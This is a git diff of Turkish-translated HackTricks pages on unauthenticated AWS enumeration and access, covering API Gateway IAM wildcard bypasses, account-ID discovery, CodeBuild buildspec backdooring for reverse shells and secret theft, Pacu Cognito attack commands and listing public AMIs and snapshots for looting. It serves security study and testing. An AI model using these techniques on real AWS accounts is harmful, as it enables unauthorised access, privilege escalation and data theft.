**kısıtlamaları aşmak** amacıyla dahil edilebileceği gerçeği ortaya konmuştur. - -### Kamu URL şablonu -``` -https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} -``` -### Hesap ID'sini genel API Gateway URL'sinden alın - -S3 bucket'ları, Data Exchange ve Lambda URL'si geçitlerinde olduğu gibi, genel bir API Gateway URL'sinden **`aws:ResourceAccount`** **Policy Condition Key**'sini kötüye kullanarak bir hesabın hesap ID'sini bulmak mümkündür. Bu, politikanın **`aws:ResourceAccount`** bölümünde joker karakterleri kötüye kullanarak hesap ID'sini bir karakter bir seferde bulmakla yapılır.\ -Bu teknik, tag anahtarını biliyorsanız **tag değerlerini** de almanıza olanak tanır (bazı varsayılan ilginç olanlar vardır). - -Daha fazla bilgi için [**orijinal araştırmaya**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) ve bu istismarı otomatikleştirmek için [**conditional-love**](https://github.com/plerionhq/conditional-love/) aracına bakabilirsiniz. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md new file mode 100644 index 000000000..1060e784c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md @@ -0,0 +1,65 @@ +# AWS - API Gateway Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### API Invoke bypass + +Konuşmaya göre [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers, API endpoints'i invoke etme izinleri vermek üzere **using IAM syntax** kullanılarak yapılandırılabilir. Bu, [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Permission", +"Action": ["execute-api:Execution-operation"], +"Resource": [ +"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" +] +} +] +} +``` +The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**. + +Some examples: + +- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example. + +> [!WARNING] +> Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\ +> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example. + +Bu şekilde endpoint'leri çağırma izinleri verme sorununun nedeni, **"\*"ın "her şeyi" ifade etmesi** ve **artık regex sözdiziminin desteklenmemesidir**. + +Birkaç örnek: + +- `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` gibi bir kural, her kullanıcıya `/dashboard/user/{username}` erişimi vermek amaçlı kullanıldığında örneğin `/admin/dashboard/createAdmin` gibi diğer rotalara da erişim sağlar. + +> [!WARNING] +> Dikkat: **"\*" eğik çizgilerle birlikte genişlemeyi durdurmaz**, bu nedenle örneğin api-id içinde "\*" kullanırsanız, son regex hâlâ geçerli olduğu sürece bu "any stage" veya "any method" anlamına da gelebilir.\ +> Dolayısıyla `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> örneğin test stage'ine yapılan bir POST isteğini `/prod/GET/dashboard/admin` yoluna doğrulayabilir. + +Hangi kaynaklara erişime izin vermek istediğinizi her zaman net belirlemeli ve verilen izinlerle başka hangi senaryoların mümkün olabileceğini kontrol etmelisiniz. + +For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). + +### IAM Policy Injection + +In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**. + +Aynı [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE) içinde, eğer kod **kullanıcı girdisini** **IAM politikalarını oluşturmak** için kullanıyorsa, wildcard'lar (ve "." veya belirli stringler gibi diğerleri) kısıtlamaları **atlatmak** amacıyla içine dahil edilebilir. + +### Public URL template +``` +https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} +``` +### Kamuya açık API Gateway URL'sinden Hesap ID'sini Alma + +S3 buckets, Data Exchange ve Lambda URL gateway'lerinde olduğu gibi, kamuya açık bir API Gateway URL'si aracılığıyla **`aws:ResourceAccount`** **Policy Condition Key**'i kötüye kullanarak bir hesabın hesap ID'sini bulmak mümkündür. Bu, politikadaki **`aws:ResourceAccount`** bölümünde joker karakterleri kullanarak hesap ID'sini karakter karakter bularak yapılır.\ +Bu teknik, eğer tag anahtarını biliyorsanız **tag değerlerini** elde etmeye de olanak tanır (bazı varsayılan ve ilginç olanlar mevcuttur). + +Bu suistimale dair daha fazla bilgiyi [**orijinal araştırmada**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) ve bu suistimali otomatikleştirmek için kullanılan [**conditional-love**](https://github.com/plerionhq/conditional-love/) aracında bulabilirsiniz. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md deleted file mode 100644 index 30616ee95..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Cloudfront Kimlik Doğrulaması Olmadan Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Genel URL şablonu -``` -https://{random_id}.cloudfront.net -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md new file mode 100644 index 000000000..297f6a623 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md @@ -0,0 +1,9 @@ +# AWS - Cloudfront Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Genel URL şablonu +``` +https://{random_id}.cloudfront.net +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md deleted file mode 100644 index cee4f0987..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ /dev/null @@ -1,33 +0,0 @@ -# AWS - CodeBuild Yetkisiz Erişim - -{{#include ../../../banners/hacktricks-training.md}} - -## CodeBuild - -Daha fazla bilgi için bu sayfayı kontrol edin: - -{{#ref}} -../aws-services/aws-codebuild-enum.md -{{#endref}} - -### buildspec.yml - -Eğer **`buildspec.yml`** adında bir dosya içeren bir depoya yazma erişimini ele geçirirseniz, bu dosyayı **arka kapı** ile değiştirebilir, bu dosyanın içindeki **çalıştırılacak komutları** belirleyebilir ve gizli bilgileri dışarı sızdırabilir, yapılan işlemleri tehlikeye atabilir ve ayrıca **CodeBuild IAM rol kimlik bilgilerini** tehlikeye atabilirsiniz. - -Her ne kadar herhangi bir **`buildspec.yml`** dosyası olmasa da, Codebuild'in kullanıldığını biliyorsanız (veya farklı bir CI/CD) **çalıştırılacak bazı meşru kodları** değiştirerek örneğin bir ters shell elde edebilirsiniz. - -İlgili bazı bilgiler için Github Actions'a nasıl saldırılacağı hakkında sayfayı kontrol edebilirsiniz (buna benzer): - -{{#ref}} -../../../pentesting-ci-cd/github-security/abusing-github-actions/ -{{#endref}} - -## AWS CodeBuild'de Kendinize Ait GitHub Actions Koşucuları - -[**Belgelerde belirtildiği gibi**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), **CodeBuild**'i, yapılandırılmış bir Github deposunda bir iş akışı tetiklendiğinde **kendinize ait Github eylemlerini** çalıştıracak şekilde yapılandırmak mümkündür. Bu, **`Event type`**'in **`WORKFLOW_JOB_QUEUED`** içermesi gerektiğinden, CodeBuild proje yapılandırmasını kontrol ederek tespit edilebilir ve bir Github İş Akışı'nda, bu şekilde bir **kendinize ait** koşucu seçecektir: -```bash -runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} -``` -Bu yeni ilişki, Github Actions ile AWS arasında, Github'daki kodun bir IAM rolü eklenmiş bir CodeBuild projesinde çalışması nedeniyle AWS'yi Github üzerinden tehlikeye atmanın başka bir yolunu oluşturur. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md new file mode 100644 index 000000000..fafb5497a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md @@ -0,0 +1,33 @@ +# AWS - CodeBuild Kimliği doğrulanmamış Erişim + +{{#include ../../../../banners/hacktricks-training.md}} + +## CodeBuild + +Daha fazla bilgi için şu sayfaya bakın: + +{{#ref}} +../../aws-services/aws-codebuild-enum.md +{{#endref}} + +### buildspec.yml + +Eğer içinde **`buildspec.yml`** adlı bir dosya bulunan bir repository üzerinde yazma erişimini ele geçirirseniz, bu dosyaya **backdoor** yerleştirebilirsiniz; bu dosya bir CodeBuild projesi içinde çalıştırılacak **komutları** belirtir ve secrets'ları exfiltrate ederek yapılanları bozabilir ve ayrıca **CodeBuild IAM role credentials**'ı da ele geçirebilir. + +Bir **`buildspec.yml`** dosyası olmasa bile, Codebuild'in (veya farklı bir CI/CD'nin) kullanıldığını biliyorsanız, çalıştırılacak bazı meşru kodları değiştirmeniz örneğin size bir reverse shell sağlayabilir. + +Bazı ilgili bilgiler için, Github Actions'a nasıl saldırılacağıyla ilgili sayfaya bakabilirsiniz (buna benzer): + +{{#ref}} +../../../../pentesting-ci-cd/github-security/abusing-github-actions/ +{{#endref}} + +## Self-hosted GitHub Actions runners in AWS CodeBuild + +As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this: +```bash +runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} +``` +Github Actions ile AWS arasındaki bu yeni ilişki, Github'taki kodun IAM role atanmış bir CodeBuild projesinde çalışacak olması nedeniyle Github üzerinden AWS'yi ele geçirmenin başka bir yolunu oluşturuyor. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md deleted file mode 100644 index 8bb9c23c7..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ /dev/null @@ -1,44 +0,0 @@ -# AWS - Cognito Yetkisiz Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Yetkisiz Cognito - -Cognito, geliştiricilerin **uygulama kullanıcılarına AWS hizmetlerine erişim vermesini** sağlayan bir AWS hizmetidir. Geliştiriciler, uygulamalarındaki **kimlik doğrulama yapılmış kullanıcılara IAM rolleri** vereceklerdir (potansiyel olarak insanlar sadece kaydolabilecek) ve ayrıca **yetkisiz kullanıcılara IAM rolü** de verebilirler. - -Cognito hakkında temel bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-cognito-enum/ -{{#endref}} - -### Kimlik Havuzu ID'si - -Kimlik Havuzları, sadece **Kimlik Havuzu ID'sini** bilen **yetkisiz kullanıcılara IAM rolleri** verebilir (bu genellikle **bulunması kolaydır**), ve bu bilgiye sahip bir saldırgan, **o IAM rolüne erişmeye** ve bunu istismar etmeye çalışabilir.\ -Ayrıca, IAM rolleri, Kimlik Havuzuna erişen **kimlik doğrulama yapılmış kullanıcılara** da atanabilir. Eğer bir saldırgan **bir kullanıcı kaydedebilirse** veya zaten kimlik havuzunda kullanılan **kimlik sağlayıcısına erişimi varsa**, **kimlik doğrulama yapılmış** kullanıcılara verilen **IAM rolüne** erişebilir ve ayrıcalıklarını kötüye kullanabilir. - -[**Bunu nasıl yapacağınızı buradan kontrol edin**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). - -### Kullanıcı Havuzu ID'si - -Varsayılan olarak Cognito, **yeni kullanıcı kaydetmeye** izin verir. Bir kullanıcı kaydedebilmek, size **altındaki uygulamaya** veya Cognito Kullanıcı Havuzunu kimlik sağlayıcı olarak kabul eden bir Kimlik Havuzunun **kimlik doğrulama yapılmış IAM erişim rolüne** **erişim** verebilir. [**Bunu nasıl yapacağınızı buradan kontrol edin**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). - -### Pentesting ve enum için Pacu modülleri - -[Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS istismar çerçevesi, artık bir hesapta tüm Cognito varlıklarının enum'lanmasını otomatikleştiren ve zayıf yapılandırmaları, erişim kontrolü için kullanılan kullanıcı özelliklerini vb. işaret eden "cognito\_\_enum" ve "cognito\_\_attack" modüllerini içermektedir. Ayrıca, kullanıcı oluşturmayı (MFA desteği dahil) ve değiştirilebilir özel özelliklere, kullanılabilir kimlik havuzu kimlik bilgilerine, id token'larındaki üstlenilebilir rollere dayalı ayrıcalık yükseltmeyi otomatikleştirir. - -Modüllerin işlevlerinin açıklaması için [blog yazısının](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 2. kısmına bakın. Kurulum talimatları için ana [Pacu](https://github.com/RhinoSecurityLabs/pacu) sayfasına bakın. - -#### Kullanım - -Belirli bir kimlik havuzu ve kullanıcı havuzu istemcisi karşısında kullanıcı oluşturma ve tüm ayrıcalık yükseltme vektörlerini denemek için örnek `cognito__attack` kullanımı: -```bash -Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools -us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients -59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX -``` -Örnek cognito\_\_enum kullanımı, mevcut AWS hesabında görünen tüm kullanıcı havuzlarını, kullanıcı havuzu istemcilerini, kimlik havuzlarını, kullanıcıları vb. toplamak için: -```bash -Pacu (new:test) > run cognito__enum -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md new file mode 100644 index 000000000..00d4c441b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md @@ -0,0 +1,44 @@ +# AWS - Cognito Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Unauthenticated Cognito + +Cognito, geliştiricilerin **grant their app users access to AWS services** sağlamasını mümkün kılan bir AWS servisidir. Geliştiriciler uygulamalarında **IAM roles to authenticated users** vereceklerdir (insanlar potansiyel olarak sadece kayıt olabileceklerdir) ve ayrıca **IAM role to unauthenticated users** da verebilirler. + +For basic info about Cognito check: + +{{#ref}} +../../aws-services/aws-cognito-enum/ +{{#endref}} + +### Identity Pool ID + +Identity Pools, sadece **know the Identity Pool ID** olan kullanıcılara **IAM roles to unauthenticated users** verebilir (bu ID'yi **find** etmek oldukça yaygındır) ve bu bilgiye sahip bir saldırgan **access that IAM rol**u denemeye ve bunu exploit etmeye çalışabilir.\ +Ayrıca, IAM rolleri Identity Pool'a erişen **authenticated users** için de atanmış olabilir. Bir saldırgan **register a user** yapabiliyorsa veya Identity Pool'da kullanılan **access to the identity provider**'a hali hazırda sahipse, **IAM role being given to authenticated** kullanıcılara erişip bu yetkileri kötüye kullanabilir. + +[**Check how to do that here**](../../aws-services/aws-cognito-enum/cognito-identity-pools.md). + +### User Pool ID + +Varsayılan olarak Cognito **register new user** yapılmasına izin verir. Bir kullanıcı kaydedebilmek size uygulamanın **access** veya Cognito User Pool'u identity provider olarak kabul eden bir Identity Pool'un **authenticated IAM access role of an Identity Pool**'una erişim sağlayabilir ve bunu kötüye kullanabilir. [**Check how to do that here**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). + +### Pacu modules for pentesting and enumeration + +[Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS exploitation framework, artık bir hesabın tüm Cognito varlıklarını enumerate etmeyi ve zayıf konfigürasyonları, erişim kontrolü için kullanılan kullanıcı attributelarını vb. tespit etmeyi otomatikleştiren "cognito__enum" ve "cognito__attack" modüllerini içeriyor; ayrıca kullanıcı oluşturmayı (MFA desteği dahil) ve değiştirilebilir custom attributelara, kullanılabilir identity pool credentials, id token'larda assumable rollere vb. dayalı privilege escalation yollarını otomatikleştiriyor. + +Modüllerin fonksiyonlarının açıklaması için blog post'un part 2'sine bakın: https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2. Kurulum talimatları için ana [Pacu](https://github.com/RhinoSecurityLabs/pacu) sayfasına bakın. + +#### Usage + +Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: +```bash +Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools +us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients +59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX +``` +Mevcut AWS hesabında görünen tüm kullanıcı havuzları, kullanıcı havuzu istemcileri, kimlik havuzları, kullanıcılar vb. bilgileri toplamak için örnek cognito__enum kullanımı: +```bash +Pacu (new:test) > run cognito__enum +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md deleted file mode 100644 index 4a26839de..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - DocumentDB Kimlik Doğrulaması Olmadan Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Genel URL şablonu -``` -.cluster-..docdb.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md new file mode 100644 index 000000000..49e9e071c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md @@ -0,0 +1,9 @@ +# AWS - DocumentDB Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Herkese açık URL şablonu +``` +.cluster-..docdb.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md deleted file mode 100644 index 3e1f6afe3..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ /dev/null @@ -1,15 +0,0 @@ -# AWS - DynamoDB Kimlik Doğrulaması Olmadan Erişim - -{{#include ../../../banners/hacktricks-training.md}} - -## Dynamo DB - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -DynamoDB ile iletişim kuran bir uygulamada tüm AWS'ye veya bazı ele geçirilmiş dış AWS hesaplarına erişim sağlamak ya da SQL enjeksiyonları yapmak dışında, DynamoDB'den AWS hesaplarına erişim sağlamak için başka seçenekler bilmiyorum. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md new file mode 100644 index 000000000..bbc672b1a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md @@ -0,0 +1,15 @@ +# AWS - DynamoDB Kimlik Doğrulamasız Erişim + +{{#include ../../../../banners/hacktricks-training.md}} + +## Dynamo DB + +Daha fazla bilgi için bakın: + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +Tüm AWS hesabına veya ele geçirilmiş bir dış AWS hesabına erişim verilmesi ya da DynamoDB ile iletişim kuran bir uygulamada SQL injections olması dışında, DynamoDB'den AWS hesaplarına erişmek için başka bir seçenek bilmiyorum. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md deleted file mode 100644 index 06c759424..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ /dev/null @@ -1,54 +0,0 @@ -# AWS - EC2 Kimlik Doğrulamasız Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## EC2 ve İlgili Hizmetler - -Bu sayfada daha fazla bilgi kontrol edin: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### Genel Portlar - -**Sanal makinelerin herhangi bir portunu internete açmak** mümkündür. Açık olan portta **ne çalıştığına** bağlı olarak bir saldırgan bunu kötüye kullanabilir. - -#### SSRF - -{{#ref}} -https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html -{{#endref}} - -### Genel AMI'ler ve EBS Anlık Görüntüleri - -AWS, **herkese AMI'leri ve Anlık Görüntüleri indirme erişimi verme** imkanı tanır. Bu kaynakları kendi hesabınızdan çok kolay bir şekilde listeleyebilirsiniz: -```bash -# Public AMIs -aws ec2 describe-images --executable-users all - -## Search AMI by ownerID -aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `967541184254/`) == `true`]' - -## Search AMI by substr ("shared" in the example) -aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `shared`) == `true`]' - -# Public EBS snapshots (hard-drive copies) -aws ec2 describe-snapshots --restorable-by-user-ids all -aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' -``` -Eğer herkes tarafından geri yüklenebilir bir anlık görüntü bulursanız, anlık görüntüyü indirme ve yağmalama talimatları için [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) sayfasını kontrol ettiğinizden emin olun. - -#### Genel URL şablonu -```bash -# EC2 -ec2-{ip-seperated}.compute-1.amazonaws.com -# ELB -http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 -https://{user_provided}-{random_id}.{region}.elb.amazonaws.com -``` -### Genel IP ile EC2 örneklerini listele -```bash -aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md new file mode 100644 index 000000000..4eabf5678 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md @@ -0,0 +1,54 @@ +# AWS - EC2 Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## EC2 & İlgili Servisler + +Bu konuda daha fazla bilgi için şu sayfaya bakın: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### Açık Portlar + +Sanal makinelerin **herhangi bir portunu internete** açmak mümkündür. Açılan portta **ne çalıştığına** bağlı olarak saldırgan bunu kötüye kullanabilir. + +#### SSRF + +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html +{{#endref}} + +### Public AMIs & EBS Snapshots + +AWS, **AMIs ve Snapshots'ı indirmek için herkese erişim verme** imkanı sağlar. Bu kaynakları kendi hesabınızdan çok kolay listeleyebilirsiniz: +```bash +# Public AMIs +aws ec2 describe-images --executable-users all + +## Search AMI by ownerID +aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `967541184254/`) == `true`]' + +## Search AMI by substr ("shared" in the example) +aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `shared`) == `true`]' + +# Public EBS snapshots (hard-drive copies) +aws ec2 describe-snapshots --restorable-by-user-ids all +aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' +``` +Eğer herkes tarafından geri yüklenebilir bir snapshot bulursanız, snapshot'ı indirme ve looting ile ilgili yönergeler için [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) sayfasına mutlaka bakın. + +#### Public URL template +```bash +# EC2 +ec2-{ip-seperated}.compute-1.amazonaws.com +# ELB +http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 +https://{user_provided}-{random_id}.{region}.elb.amazonaws.com +``` +### Genel IP adresi olan EC2 instance'larını listeleme +```bash +aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md deleted file mode 100644 index 5c4cae741..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ /dev/null @@ -1,30 +0,0 @@ -# AWS - ECR Kimlik Doğrulamasız Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### Kamu kayıt defteri depoları (görüntüler) - -ECS Enum bölümünde belirtildiği gibi, bir kamu kayıt defteri **herkes tarafından erişilebilir** ve **`public.ecr.aws//`** formatını kullanır. Bir saldırgan bir kamu deposu URL'sini bulursa, **görüntüyü indirebilir ve görüntünün meta verileri ve içeriğinde hassas bilgileri arayabilir**. -```bash -aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text -``` -> [!WARNING] -> Bu, **özel kayıt defterlerinde** de gerçekleşebilir; burada bir kayıt defteri politikası veya bir depo politikası **örneğin `"AWS": "*"`** erişim izni veriyor olabilir. Bir AWS hesabına sahip olan herkes o depoya erişebilir. - -### Özel Depoyu Listele - -[**skopeo**](https://github.com/containers/skopeo) ve [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) araçları, özel bir kayıt defteri içindeki erişilebilir depoları listelemek için kullanılabilir. -```bash -# Get image names -skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' -crane ls | sed 's/ .*//' -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md new file mode 100644 index 000000000..685e799a0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md @@ -0,0 +1,30 @@ +# AWS - ECR Kimlik Doğrulaması Olmayan Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Halka açık registry depoları (imajlar) + +ECS Enum bölümünde bahsedildiği gibi, bir public registry **herkes tarafından erişilebilir** ve **`public.ecr.aws//`** formatını kullanır. Eğer bir saldırgan bir public repository URL'si keşfederse, imajı **indirebilir ve imajın metadata'sında veya içeriğinde hassas bilgileri arayabilir**. +```bash +aws ecr 